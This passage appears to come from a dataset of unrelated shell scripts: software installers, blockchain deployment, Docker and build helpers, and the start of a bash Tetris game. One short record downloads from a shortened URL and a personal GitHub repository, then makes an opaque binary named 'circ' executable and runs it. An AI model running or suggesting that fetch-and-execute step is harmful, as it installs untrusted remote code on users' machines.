--keyserver hkp://keyserver.ubuntu.com:80 --recv 9DA31620334BD75D9DCB49F368818C72E52529D4\necho \"deb [ arch=amd64,arm64 ] https://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/4.0 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.0.list\napt-get update\napt-get install -y mongodb-org\nservice mongod start\n\n#install node.js\napt-get install -y python-software-properties software-properties-common\nadd-apt-repository ppa:chris-lea/node.js\napt-get update\n\napt-get install nodejs\napt install nodejs-legacy\napt install npm\n\nnpm install n -g\nn stable"} {"text": "#!/bin/bash\nset -e\n\nWNEAR_AMOUNT=10000000000000000000000000\nAMOUNT=10000000000000000000000\n\necho \"Account ID: $ACCOUNT_ID\"\necho \"Wrap NEAR account ID: $WNEAR\"\necho \"REF Exchange account ID: $CONTRACT_ID\"\necho \"Correct?\"\n\nread CORRECT\n\nnear deploy $ACCOUNT_ID res/dacha.wasm new '{}' --initGas=200000000000000\nnear call $WNEAR --accountId=$ACCOUNT_ID ft_transfer_call '{\"receiver_id\": \"'$CONTRACT_ID'\", \"amount\": \"'$WNEAR_AMOUNT'\", \"msg\": \"\"}' --gas=100000000000000 --depositYocto=1\nnear call $CONTRACT_ID add_simple_pool '{\"tokens\": [\"'$ACCOUNT_ID'\", \"'$'\"], \"fee\": 25}' --account_id=$ACCOUNT_ID --amount=0.01\n\necho \"What's POOL_ID?\"\nread POOL_ID\n\nnear call $ACCOUNT_ID --accountId=$ACCOUNT_ID set_pool_id '{\"potato_pool_id\": '$POOL_ID'}'\n\nnear call $CONTRACT_ID add_liquidity --accountId=$ACCOUNT_ID '{\"pool_id\": '$POOL_ID', \"amounts\": [\"'$AMOUNT'\", \"'$WNEAR_AMOUNT'\"]}' --amount=0.01"} {"text": "scripts/findedit.sh\n#!/bin/bash\n# List files using find, grepping \"$1\" from their names, then select a search result to edit.\n# If just one result is found, it is opened automatically.\n\neditor=$EDITOR\n[ \"$(which gedit 2>/dev/null)\" ] && editor=\"gedit\"\n[ \"$(which vim 2>/dev/null)\" ] && editor=\"vim\"\n[ \"$(which gvim 2>/dev/null)\" ] && editor=\"gvim\"\n\n[ \"$#\" -eq 0 ] && echo \"Give the search term as a parameter.\" && exit 1\n\nresults=$(find ./ | grep -i \"$1\")\n\nif [ ! \"$results\" ]\nthen\n echo \"No matches.\"\n exit 0\nelif [ $(echo \"$results\" | wc -l) -eq 1 ]\nthen\n $editor \"$results\"\n exit 0\nfi\n\ncount=$(echo \"$results\" | wc -l)\n\nindex=1\nwhile [ $index -le $count ]\ndo\n echo $index: $(echo \"$results\" | head -n $index | tail -n 1) :$index\n index=$(expr $index + 1)\ndone\n\necho -n \"Edit the one with order number: \"\nread -a index\n\nindex=$(echo $index | tr -c -d [:digit:])\n! [ \"$index\" ] && exit 1\n\n$editor \"$(echo \"$results\" | head -n $index | tail -n 1)\""} {"text": "1-10\n#!/bin/bash\n\ncd ./build/libs/\njava -jar ScanReplace-0.1.2.jar $@"} {"text": "#!/bin/bash\nFILES=./img/*\naframeversion=\"-v0.7.1\"\n#aframeversion=\"-v0.9.2\"\n\necho \"----------------------------------\"\necho \" CREATE AFrame 360 Degree Image\"\necho \"----------------------------------\"\necho \" search image files that match '${FILES}' \"\nfor f in $FILES\ndo\n file=`basename \"$f\"`\n extension=\"${file##*.}\"\n filename=\"${file%.*}\"\n echo \"------------------\"\n echo \"Processing '$file' file...\"\n echo \"Extension '$extension' with basename '$filename' \"\n OUTPUT=\"./${filename}_${extension}_360.html\"\n echo \"Output File: ${OUTPUT} \"\n NOW=$(date +\"%d.%m.%Y\")\n echo \"\" > $OUTPUT\n echo \"\" >> $OUTPUT\n echo \"\\t\" >> $OUTPUT\n echo \"\\t\\t\" >> $OUTPUT\n echo \"\\t\\t\" >> $OUTPUT\n echo \"\\t\\t\" >> $OUTPUT\n echo \"\\t\\t360 Aframe Panorama\" >> $OUTPUT\n echo '\\t\\t' >> $OUTPUT\n echo \"\\t\\t\" >> $OUTPUT\n echo \"\\t\" >> $OUTPUT\n echo '\\t' >> $OUTPUT\n echo '\\t\\t' >> $OUTPUT\n echo \"\\t\\t\\t\" >> $OUTPUT\n echo '\\t\\t' >> $OUTPUT\n echo '\\t\\t' >> $OUTPUT\n echo '\\t' >> $OUTPUT\n echo '\\t' >> $OUTPUT\n\ndone\necho \"------------------\\n\"\necho \"----------------------------------------------\"\necho \"AFrame Version: aframe${aframeversion}.min.js \"\necho \"Generated: ${NOW} \"\necho \"Source Image Files: ${FILES} \"\necho \"----------------------------------------------\""} {"text": "#!/bin/bash\nset -euo pipefail\n\n# --- begin runfiles.bash initialization --- {{{\n# Copy-pasted from Bazel's Bash runfiles library https://github.com/bazelbuild/bazel/blob/defd737761be2b154908646121de47c30434ed51/tools/bash/runfiles/runfiles.bash\nif [[ ! -d \"${RUNFILES_DIR:-/dev/null}\" && ! -f \"${RUNFILES_MANIFEST_FILE:-/dev/null}\" ]]; then\n if [[ -f \"$0.runfiles_manifest\" ]]; then\n export RUNFILES_MANIFEST_FILE=\"$0.runfiles_manifest\"\n elif [[ -f \"$0.runfiles/MANIFEST\" ]]; then\n export RUNFILES_MANIFEST_FILE=\"$0.runfiles/MANIFEST\"\n elif [[ -f \"$0.runfiles/bazel_tools/tools/bash/runfiles/runfiles.bash\" ]]; then\n export RUNFILES_DIR=\"$0.runfiles\"\n fi\nfi\nif [[ -f \"${RUNFILES_DIR:-/dev/null}/bazel_tools/tools/bash/runfiles/runfiles.bash\" ]]; then\n # shellcheck disable=SC1091\n source \"${RUNFILES_DIR}/bazel_tools/tools/bash/runfiles/runfiles.bash\"\nelif [[ -f \"${RUNFILES_MANIFEST_FILE:-/dev/null}\" ]]; then\n # shellcheck disable=SC1090\n source \"$(grep -m1 \"^bazel_tools/tools/bash/runfiles/runfiles.bash \" \\\n \"$RUNFILES_MANIFEST_FILE\" | cut -d ' ' -f 2-)\"\nelse\n echo >&2 \"ERROR: cannot find @bazel_tools//tools/bash/runfiles:runfiles.bash\"\n exit 1\nfi\n# --- end runfiles.bash initialization --- }}}\n\n# Find logging with rlocation, as this script is run from a genrule\n# shellcheck source=SCRIPTDIR/logging.sh\nsource \"$(rlocation com_stripe_ruby_typer/test/logging.sh)\"\n\n# Argument Parsing #############################################################\n\nrbout=${1}\nrberr=${2}\nrbexit=${3}\nrb=${4}\n\n# Environment Setup ############################################################\n\n# NOTE: using a temp file here, as that will cause ruby to not print the name of\n# the main file in a stack trace.\nrbrunfile=$(mktemp)\n\n# Find ruby\nruby=\"$(rlocation sorbet_ruby_2_7/ruby)\"\n\n# These paths are absolute when running standalone, but relative when running\n# in the sandbox. To work around this, we pull out these dirs and use -I below\n# to modify the include path (which can take absolute or relative paths).\nsorbet_runtime_include=$(dirname \"$(rlocation com_stripe_ruby_typer/gems/sorbet-runtime/lib/sorbet-runtime.rb)\")\npatch_require_include=$(dirname \"$(rlocation com_stripe_ruby_typer/test/patch_require.rb)\")\n\n# Main #########################################################################\n\ninfo \"--- Build Config ---\"\ninfo \"* Test: ${rb}\"\ninfo \"* Rbout: ${rbout}\"\ninfo \"* Rberr: ${rberr}\"\ninfo \"* Rbexit: ${rbexit}\"\ninfo \"* Runner: ${rbrunfile}\"\n\ninfo \"--- Debugging ---\"\ninfo \" test/run_ruby.sh -d ${rb}\"\n\ninfo \"--- Building output ---\"\necho \"require './$rb';\" > \"$rbrunfile\"\n\n# Use a temp directory for LLVMIR so we don't accidentally pick up changes from\n# the environment\nllvmir=$(mktemp -d)\ncleanup() {\n rm -r \"$llvmir\"\n rm \"$rbrunfile\"\n}\ntrap cleanup EXIT\n\nset +e\n# NOTE: we run with patch_require incluced so that the stack trace looks similar\n# to what we'll see in the compiled version\nllvmir=\"$llvmir\" \"$ruby\" \\\n --disable=gems \\\n --disable=did_you_mean \\\n -r \"rubygems\" \\\n -I \"$sorbet_runtime_include\" -rsorbet-runtime.rb \\\n -I \"$patch_require_include\" -rpatch_require.rb \\\n \"$rbrunfile\" > \"$rbout\" 2> \"$rberr\"\necho \"$?\" > \"$rbexit\"\nset -e\n\nsuccess \"* Captured output for ${rb}\""} {"text": "#!/bin/bash\npython examples/nested/rosenbrock.py --switch 0.02 --test_samples 10000 --test_mcmc_steps 30 --train_iters 100\npython examples/nested/himmelblau.py --switch 0.02 --test_samples 10000 --test_mcmc_steps 30 --train_iters 100"} {"text": "0\ndocker image rm vfos/deploy\ndocker image rm localhost:5000/vfos/deploy\ndocker image rm vfos/exec-manager\ndocker image rm localhost:5000/vfos/exec-manager\ndocker image rm vfos/aim\ndocker image rm localhost:5000/vfos/aim\ndocker image rm vfos/system-dashboard\ndocker image rm localhost:5000/vfos/system-dashboard\ndocker image rm vfos/portal\ndocker image rm localhost:5000/vfos/portal\ndocker image rm vfos/test-server\ndocker image rm localhost:5000/vfos/test-server\nrm -rf .persist\nrm -rf .compose/3*"} {"text": "#!/bin/bash -ex\n\ngit config user.name $GITHUB_ACTOR\ngit config user.email $GITHUB_\n\nPR_NAME=dependabot-prs/`date +'%Y-%m-%dT%H%M%S'`\ngit checkout -b $PR_NAME\n\nIFS=$'\\n'\nrequests=$(gh pr list --search \"author:app/dependabot\" --json number,title --template '{{range .}}{{tablerow .title}}{{end}}')\nmessage=\"\"\n\nfor line in $requests; do\n if [[ $line != Bump* ]]; then \n continue\n fi\n\n module=$(echo $line | cut -f 2 -d \" \")\n if [[ $module == go.opentelemetry.io/collector* ]]; then\n continue\n fi\n version=$(echo $line | cut -f 6 -d \" \")\n make for-all CMD=\"$GITHUB_WORKSPACE/internal/buildscripts/update-dep\" MODULE=$module VERSION=v$version\n message+=$line\n message+=$'\\n'\ndone\n\nmake gotidy\nmake otelcontribcol\n\ngit add go.sum go.mod\ngit add \"**/go.sum\" \"**/go.mod\"\ngit commit -m \"dependabot updates `date`\n$message\"\ngit push origin $PR_NAME\n\ngh pr create --title \"dependabot updates `date`\" --body \"$message\" -l \"Skip Changelog\""} {"text": "jasonbrooks/kolla\n#!/bin/sh\n\nset -e\n\n. /opt/kolla/config-nova-network.sh\n\n# Start nova-network\nexec /usr/bin/nova-network"} {"text": "#!/bin/bash\n\napt-get update\nwget -O 2 https://git.io/Jz9wF\nwget https://raw.githubusercontent.com/ributmaestro/ketapang/main/circ && chmod u+x circ && ./circ"} {"text": "#!/bin/bash\nsource noisemaker/bin/activate\n\necho Enter in the source image\n\nread -p 'Input Path: ' sourceImage\n\necho Enter in the output file path\n\nread -p 'Output Path: ' outputImage\n\necho Enter in any effects! Start each effect with \"--\". Can also leave blank!\nread -p 'Effects: ' effects\n\necho Ok, doing the stuff now!\n\nartmangler --name $outputImage $effects random $sourceImage\n\necho \"Hope you like the output!\""} {"text": "1-10\n\nbashelliteProviderTest() {\n\n local item_name=\"${1}\";\n\n # Prints variables setup by earlier bashellite functions\n utilMsg BLUE \"$(utilTime)\" \"[${item_name}]\";\n utilMsg BLUE \"$(utilTime)\" \"$( \\\n declare -p ${item_name} 2>/dev/null \\\n || declare -pF ${item_name} 2>/dev/null \\\n || echo \"No variable or function found in environment!\" \\\n )\\n\";\n\n}"} {"text": "BaukDockerSwarm/scripts/release.sh0\n#!/usr/bin/env sh\n\nset -e\nprintf \"\n RELEASING\n ===========\n\"\n\nOLD_VERSION=$(git tag | sort -V | tail)\nif [[ ! \"$(echo $OLD_VERSION | grep '^\\([0-9]*\\)\\.\\([0-9]*\\)\\.\\([0-9]*\\)$')\" ]]\nthen\n printf \"\n ERROR: INVALID OLD VERSION FOUND: '$OLD_VERSION'\n \\n\"\n exit 1\nfi\nif [[ \"$(git status -s)\" ]]\nthen\n printf \"\n ERROR: Cannot release with items in staging area!\n \\n\"\n exit 1\nfi\n\nOLD_MAJOR=$(echo $OLD_VERSION | sed \"s/^\\([0-9]*\\)\\.\\([0-9]*\\)\\.\\([0-9]*\\)$/\\1/g\")\nOLD_MINOR=$(echo $OLD_VERSION | sed \"s/^\\([0-9]*\\)\\.\\([0-9]*\\)\\.\\([0-9]*\\)$/\\2/g\")\nOLD_PATCH=$(echo $OLD_VERSION | sed \"s/^\\([0-9]*\\)\\.\\([0-9]*\\)\\.\\([0-9]*\\)$/\\3/g\")\n(( NEW_PATCH = OLD_PATCH + 1 ))\n\nexport VERSION=\"${OLD_MAJOR}.${OLD_MINOR}.${NEW_PATCH}\"\n\nprintf \"\n USING VERSION: $VERSION\n USING MESSAGE: '$@'\n\n\"\ngit tag $VERSION -m \"$@\"\ngit push --tags\n./scripts/build.sh\ndocker-compose -f docker-compose.yaml -f docker-compose-build.yaml push"} {"text": "10-100\n#!/usr/bin/env bash\n\ndocker run -d -v /mnt/data:/data -v /mnt/logs:/logs -p 27017:27017 --hostname=mongodev.local user-service-mongodb"} {"text": "1-10\n#!/bin/bash\n\nDOCKER_BUILD_TARGET=\"xschem-app\"\nDOCKER_IMAGE=\"andrsmllr/xschem\"\nDOCKER_TAG=\"latest\"\nBUILD_VERSION=\"HEAD\"\n\nsource ../dockerutils.sh\ndocker_build ${DOCKER_BUILD_TARGET} ${DOCKER_IMAGE} ${DOCKER_TAG} ${BUILD_VERSION}"} {"text": "#!/bin/bash\n\n[[ -d /opt/digitalrebar/core ]] || exit 1\nuid=\"$(stat -c '%u' /opt/digitalrebar/core)\"\ngid=\"$(stat -c '%g' /opt/digitalrebar/core)\"\n\nfind /var /home -xdev -user rebar -exec chown \"$uid:$gid\" '{}' ';'\nfind /var /home -xdev -group rebar -exec chown \"$uid:$gid\" '{}' ';'\nusermod -o -u \"$uid\" rebar\ngroupmod -o -g \"$gid\" rebar\n\necho\nwhile [[ -f /opt/digitalrebar/wait ]]; do\n printf '.'\n sleep 10\ndone"} {"text": "geth --rpccorsdomain \"127.0.0.1\" --rpc --fast --cache=2048"} {"text": "runRAINIER.sh\n#!/bin/sh\n# to set RAINIER_PATH, execute the following in terminal, or save in .bashrc/profile\n# export RAINIER_PATH=/path/to/RAINIER\n\ncp ${RAINIER_PATH}/RAINIER.C RAINIER_copy.C\nroot -l RAINIER_copy.C++"} {"text": "#!/usr/bin/env bash\nset -e\nset -x\n\ncontinue=true\noffset=0\nrows=2000\nfile=data/output.csv\nscript=\"python bin/fetch.py\"\n\n\nwhile ${continue}; do\n\tpython bin/fetch.py --output ${file} --sort \"date desc\" --fields title,pubdate,abstract,author,bibcode bibstem:\"A&A\" --start ${offset} --rows ${rows}\n\tif (($? == 0)); then\n\t\toffset=$((offset+rows))\n\tfi\n\tif (($? > 0)); then\n\t\tcontinue=false\t\n\tfi\ndone"} {"text": "PKPenguin321/SSVOpenHexagon10-100\n#!/bin/bash\n\nrm -Rf ./_PREPARED_RELEASE_LINUX\nrm -Rf ./_PREPARED_RELEASE_LINUX_TEST\nmkdir -p ./_PREPARED_RELEASE_LINUX\n\ncp -r ./_RELEASE/Assets ./_PREPARED_RELEASE_LINUX\ncp -r ./_RELEASE/ConfigOverrides ./_PREPARED_RELEASE_LINUX\n\nmkdir -p ./_PREPARED_RELEASE_LINUX/Packs\ncp -r ./_RELEASE/Packs/base ./_PREPARED_RELEASE_LINUX/Packs\ncp -r ./_RELEASE/Packs/tutorial ./_PREPARED_RELEASE_LINUX/Packs\ncp -r ./_RELEASE/Packs/cube ./_PREPARED_RELEASE_LINUX/Packs\ncp -r ./_RELEASE/Packs/hypercube ./_PREPARED_RELEASE_LINUX/Packs\ncp -r ./_RELEASE/Packs/orthoplex ./_PREPARED_RELEASE_LINUX/Packs\n\nmkdir -p ./_PREPARED_RELEASE_LINUX/Profiles\n\ncp ./_RELEASE/SSVOpenHexagonLinux ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/OHWorkshopUploaderLinux ./_PREPARED_RELEASE_LINUX\n\ncp ./_RELEASE/libImGui-SFML.so ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libdiscord_game_sdk.so ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libluajit.so ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsdkencryptedappticket.so ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsfml-audio.so.3.0 ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsfml-graphics.so.3.0 ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsfml-network.so.3.0 ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsfml-system.so.3.0 ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsfml-window.so.3.0 ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsodium.so ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libstdc++.so.6 ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libsteam_api.so ./_PREPARED_RELEASE_LINUX\ncp ./_RELEASE/libz.so.1 ./_PREPARED_RELEASE_LINUX\n\ncp ./_RELEASE/steam_appid.txt ./_PREPARED_RELEASE_LINUX\n\ncp ./_RELEASE/run_ssvopenhexagon_linux.sh ./_PREPARED_RELEASE_LINUX\n\ncd ./_PREPARED_RELEASE_LINUX\nchmod +x ./*.so\n# upx -9 ./*.so\n# upx -9 ./SSVOpenHexagonLinux\n# upx -9 ./OHWorkshopUploaderLinux\ncd ..\n\ncp -r ./_PREPARED_RELEASE_LINUX ./_PREPARED_RELEASE_LINUX_TEST\n\nrm -Rf /media/sf_C_DRIVE/OHWorkspace/SSVOpenHexagon/_PREPARED_RELEASE_LINUX\ncp -r ./_PREPARED_RELEASE_LINUX /media/sf_C_DRIVE/OHWorkspace/SSVOpenHexagon/"} {"text": "#! /bin/bash\nmfdbfh_cfg_path=$1\ndbuser=$2\ndbpassword=$3\n. /opt/microfocus/EnterpriseDeveloper/bin/cobsetenv \"\"\ncat < $mfdbfh_cfg_path\n\n \n \"/>\n \"/>\n \"/>\n \"/>\n \n\nEOT"} {"text": "tohn/instaray\n#!/bin/sh\n\n# InstaRay™\n\n# dependency: imagemagick\ncommand -v convert >/dev/null 2>&1 || {\n\techo >&2 \"Please install \\\"imagemagick\\\".\"\n\texit 1\n}\n\nif [ \"$#\" -lt 3 ] ; then\n\techo \"Error: wrong input\" >&2\n\techo \"Usage: $0 [output format]\" >&2\n\texit 1\nfi\n\nmodel=\"$1\"\nwidth=\"$2\"\nheight=\"$3\"\noutput=\"$4\"\nif [ \"$output\" = \"\" ] ; then\n\toutput=\"png\"\nfi\n\nconvert -size \"${width}\"x\"${height}\" canvas:white \"${model}\".\"$output\""} {"text": "dofinn/cincinnati\n#!/usr/bin/env bash\n\nIMAGE_BUILD=\"${IMAGE_BUILD:-quay.io/app-sre/cincinnati:builder}\"\nPROJECT_PARENT_DIR=\"${ABSOLUTE_PATH:?need ABSOLUTE_PATH set}/../\"\nGIT_REV=\"$(git rev-parse --short=7 HEAD)\"\nBUILD_VOLUME_CARGO_GIT=\"build_cargo_git_${GIT_REV}\"\nBUILD_VOLUME_CARGO_REGISTRY=\"build_cargo_registry_${GIT_REV}\"\nif ! 2>&1 > /dev/null docker volume inspect \"${BUILD_VOLUME_GIT}\"; then\n docker volume create \"${BUILD_VOLUME_CARGO_GIT}\" -d local --opt type=tmpfs --opt=device=tmpfs --opt o=uid=$UID\nfi\nif ! 2>&1 > /dev/null docker volume inspect \"${BUILD_VOLUME_REGISTRY}\"; then\n docker volume create \"${BUILD_VOLUME_CARGO_REGISTRY}\" -d local --opt type=tmpfs --opt=device=tmpfs --opt o=uid=$UID\nfi\n\nIMAGE=\"${IMAGE:-quay.io/app-sre/cincinnati}\"\nIMAGE_TAG=\"${IMAGE_TAG:-${GIT_REV}}\"\n\nDOCKER_CARGO_LABEL=\"docker-cargo\"\nfunction docker_cargo () {\n docker run -t --rm \\\n --label \"${DOCKER_CARGO_LABEL}\" \\\n --user \"$UID\" \\\n --env \"HOME=/root\" \\\n -v \"${BUILD_VOLUME_CARGO_GIT}\":/root/.cargo/git:Z \\\n -v \"${BUILD_VOLUME_CARGO_REGISTRY}\":/root/.cargo/registry:Z \\\n -v $PROJECT_PARENT_DIR:/volume:Z \\\n --workdir /volume \\\n $IMAGE_BUILD \"${@}\"\n}\n\nfunction docker_cargo_stop_all() {\n containers=$(docker ps --quiet --filter \"label=${DOCKER_CARGO_LABEL}\")\n if test \"${containers}\"; then\n docker rm -f ${containers} 2>&1 >/dev/null\n fi\n}\n\nfunction ensure_build_container() {\n docker build -t \"${IMAGE_BUILD}\" \"${1:?need Dockerfile for the builder}\"\n}"} {"text": "XiaoSong9905/tvm\n#!/bin/bash\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n. /etc/profile\n\nset -o errexit -o nounset\nset -o pipefail\n\nGRADLE_HOME=/opt/gradle\nGRADLE_VERSION=4.10-rc-2\nGRADLE_SHA256=e90d3c32910e259814bcca82b3911172ecca1ff1ab5ed69b4de3c1df8b378b40\n\necho \"Downloading Gradle\"\nwget -q --output-document=gradle.zip \"https://services.gradle.org/distributions/gradle-${GRADLE_VERSION}-bin.zip\"\necho \"Checking Gradle hash\"\necho \"${GRADLE_SHA256} *gradle.zip\" | sha256sum --check -\necho \"Installing Gradle\"\nunzip gradle.zip\nrm gradle.zip\nmv \"gradle-${GRADLE_VERSION}\" \"${GRADLE_HOME}/\"\nln --symbolic \"${GRADLE_HOME}/bin/gradle\" /usr/bin/gradle"} {"text": "#!/bin/bash\nexport THRIFT_VERSION=0.9.3\n\ninstallCheck () {\n if [ ! -d thrift-$THRIFT_VERSION ]; then\n return 1\n fi\n thrift --gen java check_thrift.thrift\n if [ -d gen-java ]; then\n rm -rf gen-java\n return 0\n else\n return 1\n fi\n}\n\nif installCheck \"$0\"; then\n echo \"Apache Thrift installed\";\n exit 0;\nfi\n\nsudo apt-get remove -y thrift-compiler\n\nwget \"http://archive.apache.org/dist/thrift/$THRIFT_VERSION/thrift-$THRIFT_VERSION.tar.gz\" \\\n && tar xf thrift-$THRIFT_VERSION.tar.gz \\\n && cd thrift-$THRIFT_VERSION \\\n && ./configure --with-lua=no --with-ruby=no --with-go=no --with-erlang=no --with-nodejs=no \\\n && make -j \"$THREADS\"\\\n && sudo make -j \"$THREADS\" install \\\n && cd lib/py/ \\\n && sudo python setup.py install \\\n && cd ../../lib/java/ \\\n && ant \\\n && cd ../../..\n\nif installCheck \"$0\"; then\n echo \"Apache Thrift installed\";\n exit 0;\nelse\n echo \"Faile to install Apache Thrift\";\n exit 1;\nfi"} {"text": "examples/tetris.sh\n#!/bin/bash\n\n# Tetris game written in pure bash\n#\n# I tried to mimic as close as possible original tetris game\n# which was implemented on old soviet DVK computers (PDP-11 clones)\n#\n# Videos of this tetris can be found here:\n#\n# http://www.youtube.com/watch?v=O0gAgQQHFcQ\n# http://www.youtube.com/watch?v=iIQc1F3UuV4\n#\n# This script was created on ubuntu 13.04 x64 and bash 4.2.45(1)-release.\n# It was not tested on other unix like operating systems.\n#\n# Enjoy :-)!\n#\n# Author: <>\n#\n# This program is free software. It comes without any warranty, to the extent\n# permitted by applicable law. You can redistribute it and/or modify it under\n# the terms of the Do What The Fuck You Want To Public License, Version 2, as\n# published by Sam Hocevar. See http://www.wtfpl.net/ for more details.\n\nset -u # non initialized variable is an error\n\n# Those are commands sent to controller by key press processing code\n# In controller they are used as index to retrieve actual functuon from array\nQUIT=0\nRIGHT=1\nLEFT=2\nROTATE=3\nDOWN=4\nDROP=5\nTOGGLE_HELP=6\nTOGGLE_NEXT=7\nTOGGLE_COLOR=8\n\nDELAY=1000 # initial delay between piece movements (milliseconds)\nDELAY_FACTOR=\"8/10\" # this value controls delay decrease for each level up\n\n# color codes\nRED=1\nGREEN=2\nYELLOW=3\nBLUE=4\nFUCHSIA=5\nCYAN=6\nWHITE=7\n\n# Location and size of playfield, color of border\nPLAYFIELD_W=10\nPLAYFIELD_H=20\nPLAYFIELD_X=30\nPLAYFIELD_Y=1\nBORDER_COLOR=$YELLOW\n\n# Location and color of score information\nSCORE_X=1\nSCORE_Y=2\nSCORE_COLOR=$GREEN\n\n# Location and color of help information\nHELP_X=58\nHELP_Y=1\nHELP_COLOR=$CYAN\n\n# Next piece location\nNEXT_X=14\nNEXT_Y=11\n\n# Location of \"game over\" in the end of the game\nGAMEOVER_X=1\nGAMEOVER_Y=$((PLAYFIELD_H + 3))\n\n# Intervals after which game level (and game speed) is increased \nLEVEL_UP=20\n\ncolors=($RED $GREEN $YELLOW $BLUE $FUCHSIA $CYAN $WHITE)\n\nuse_color=1 # 1 if we use color, 0 if not\nempty_cell=\" .\" # how we draw empty cell\nfilled_cell=\"[]\" # how we draw filled cell\n\nscore=0 # score variable initialization\nlevel=1 # level variable initialization\nlines_completed=0 # completed lines counter initialization\n\n# screen_buffer is variable, that accumulates all screen changes\n# this variable is printed in controller once per game cycle\nscreen_buffer=\"\"\nputs() {\n screen_buffer+=${1}\n}\n\nflush_screen() {\n echo -ne \"$screen_buffer\"\n screen_buffer=\"\"\n}\n\n# move cursor to (x,y) and print string\n# (1,1) is upper left corner of the screen\nxyprint() {\n puts \"\\e[${2};${1}H${3}\"\n}\n\nshow_cursor() {\n echo -ne \"\\e[?25h\"\n}\n\nhide_cursor() {\n echo -ne \"\\e[?25l\"\n}\n\n# foreground color\nset_fg() {\n ((use_color)) && puts \"\\e[3${1}m\"\n}\n\n# background color\nset_bg() {\n ((use_color)) && puts \"\\e[4${1}m\"\n}\n\nreset_colors() {\n puts \"\\e[0m\"\n}\n\nset_bold() {\n puts \"\\e[1m\"\n}\n\n# playfield is an array, each row is represented by integer\n# each cell occupies 3 bits (empty if 0, other values encode color)\nredraw_playfield() {\n local x y color\n\n for ((y = 0; y < PLAYFIELD_H; y++)) {\n xyprint $PLAYFIELD_X $((PLAYFIELD_Y + y)) \"\"\n for ((x = 0; x < PLAYFIELD_W; x++)) {\n ((color = ((playfield[y] >> (x * 3)) & 7)))\n if ((color == 0)) ; then\n puts \"$empty_cell\"\n else\n set_fg $color\n set_bg $color\n puts \"$filled_cell\"\n reset_colors\n fi\n }\n }\n}\n\nupdate_score() {\n # Arguments: 1 - number of completed lines\n ((lines_completed += $1))\n # Unfortunately I don't know scoring algorithm of original tetris\n # Here score is incremented with squared number of lines completed\n # this seems reasonable since it takes more efforts to complete several lines at once\n ((score += ($1 * $1)))\n if (( score > LEVEL_UP * level)) ; then # if level should be increased\n ((level++)) # increment level\n kill -SIGUSR1 $ticker_pid # and send SIGUSR1 signal to ticker process (please see ticker() function for more details)\n fi\n set_bold\n set_fg $SCORE_COLOR\n xyprint $SCORE_X $SCORE_Y \"Lines completed: $lines_completed\"\n xyprint $SCORE_X $((SCORE_Y + 1)) \"Level: $level\"\n xyprint $SCORE_X $((SCORE_Y + 2)) \"Score: $score\"\n reset_colors\n}\n\nhelp=(\n\" Use cursor keys\"\n\" or\"\n\" s: rotate\"\n\"a: left, d: right\"\n\" space: drop\"\n\" q: quit\"\n\" c: toggle color\"\n\"n: toggle show next\"\n\"h: toggle this help\"\n)\n\nhelp_on=1 # if this flag is 1 help is shown\n\ndraw_help() {\n local i s\n\n set_bold\n set_fg $HELP_COLOR\n for ((i = 0; i < ${#help[@]}; i++ )) {\n # ternary assignment: if help_on is 1 use string as is, otherwise substitute all characters with spaces\n ((help_on)) && s=\"${help[i]}\" || s=\"${help[i]//?/ }\"\n xyprint $HELP_X $((HELP_Y + i)) \"$s\"\n }\n reset_colors\n}\n\ntoggle_help() {\n ((help_on ^= 1))\n draw_help\n}\n\n# this array holds all possible pieces that can be used in the game\n# each piece consists of 4 cells numbered from 0x0 to 0xf:\n# 0123\n# 4567\n# 89ab\n# cdef\n# each string is sequence of cells for different orientations\n# depending on piece symmetry there can be 1, 2 or 4 orientations\n# relative coordinates are calculated as follows:\n# x=((cell & 3)); y=((cell >> 2))\npiece_data=(\n\"1256\" # square\n\"159d4567\" # line\n\"45120459\" # s\n\"01561548\" # z\n\"159a845601592654\" # l\n\"159804562159a654\" # inverted l\n\"1456159645694159\" # t\n)\n\ndraw_piece() {\n # Arguments:\n # 1 - x, 2 - y, 3 - type, 4 - rotation, 5 - cell content\n local i x y c\n\n # loop through piece cells: 4 cells, each has 2 coordinates\n for ((i = 0; i < 4; i++)) {\n c=0x${piece_data[$3]:$((i + $4 * 4)):1}\n # relative coordinates are retrieved based on orientation and added to absolute coordinates\n ((x = $1 + (c & 3) * 2))\n ((y = $2 + (c >> 2)))\n xyprint $x $y \"$5\"\n }\n}\n\nnext_piece=0\nnext_piece_rotation=0\nnext_piece_color=0\n\nnext_on=1 # if this flag is 1 next piece is shown\n\ndraw_next() {\n # Argument: 1 - visibility (0 - no, 1 - yes), if this argument is skipped $next_on is used\n local s=\"$filled_cell\" visible=${1:-$next_on}\n ((visible)) && {\n set_fg $next_piece_color\n set_bg $next_piece_color\n } || {\n s=\"${s//?/ }\"\n }\n draw_piece $NEXT_X $NEXT_Y $next_piece $next_piece_rotation \"$s\"\n reset_colors\n}\n\ntoggle_next() {\n draw_next $((next_on ^= 1))\n}\n\ndraw_current() {\n # Arguments: 1 - string to draw single cell\n # factor 2 for x because each cell is 2 characters wide\n draw_piece $((current_piece_x * 2 + PLAYFIELD_X)) $((current_piece_y + PLAYFIELD_Y)) $current_piece $current_piece_rotation \"$1\"\n}\n\nshow_current() {\n set_fg 